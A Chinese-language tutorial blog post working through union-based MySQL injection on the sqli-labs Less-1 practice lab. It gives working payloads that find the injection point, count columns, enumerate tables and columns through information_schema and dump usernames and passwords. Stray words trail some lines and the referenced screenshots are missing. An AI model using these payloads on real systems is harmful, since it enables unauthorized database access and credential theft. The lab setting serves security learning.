sql注入之簡要注入

#mysql簡要注入流程

mysql注入簡要流程以下圖:mysql

 因爲還沒學習完先結合sqlilabs的第一關講解信息收集的一部分和數據注入的information_schema的有據查詢。sql

#sqli-labs之Less-1

1.判斷是否有注入點

老方法:數據庫

and 1=1 頁面正常學習

and 1=2 頁面錯誤spa

說明可能存在注入點操作系統

最舒服的方法:orm

參數後面隨便輸入,被解析但未出現404可能存在注入。blog

若出現404頁面說明沒有注入點。it

http://127.0.0.1/sqli-labs/Less-1/?id=1 --+io

頁面正常:

 參數後面隨便輸:http://127.0.0.1/sqli-labs/Less-1/?id=1323424 --+

被解析,未報錯,說明存在注入點

 2.判斷注入

猜解列名數量(字段數):order by x(爲可變變量) 找出錯誤與正確的臨界值

http://127.0.0.1/sqli-labs/Less-1/?id=1' order by 3 --+

 http://127.0.0.1/sqli-labs/Less-1/?id=1' order by 4 --+

由上圖可知字段數爲3。

3.報錯猜解準備

?id=-1' union select 1,2,3 --+

由圖可知,2,3位置可進行回顯。

4.信息收集

數據庫版本:version()

 數據庫用戶:user()

數據庫名字:database()

操做系統:@@version_compile_os

數據庫版本及數據庫用戶:

 數據庫名字及操做系統:

 5.查詢指定數據庫的表名信息

必要知識點:

在mysql5.0及以上版本中mysql存在自帶的數據庫名information_schema,它是一個存記錄有全部數據名、表名、列名的數據庫。也就至關於能夠查詢它獲取指定數據庫下的表名列名信息。

數據庫中符號「.」表明下一級,如a.b表示數據庫a下的b表。

information_schema.tables:記錄全部表名信息的表

information_schema.columns:記錄全部列名信息的表

table_schema:數據庫名

table_name:表名

column_name:列名

查詢security數據庫下的表名信息:

http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema='security' --+

 全部表名信息:

http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

可知有4張表分別是:emails,referers,uagents,users

 6.查詢指定表名下的列名信息

由上可推測用戶信息可能在users表中

查詢users表下的列名信息:

http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

可知users表中的字段爲username和password

7.查詢指定數據

查詢users表中的數據:

http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,username,password from users limit 0,1--+

猜解多個數據可以使用limit x,1(變更猜解)

 

可知一共有13條數據

相關文章
相關標籤/搜索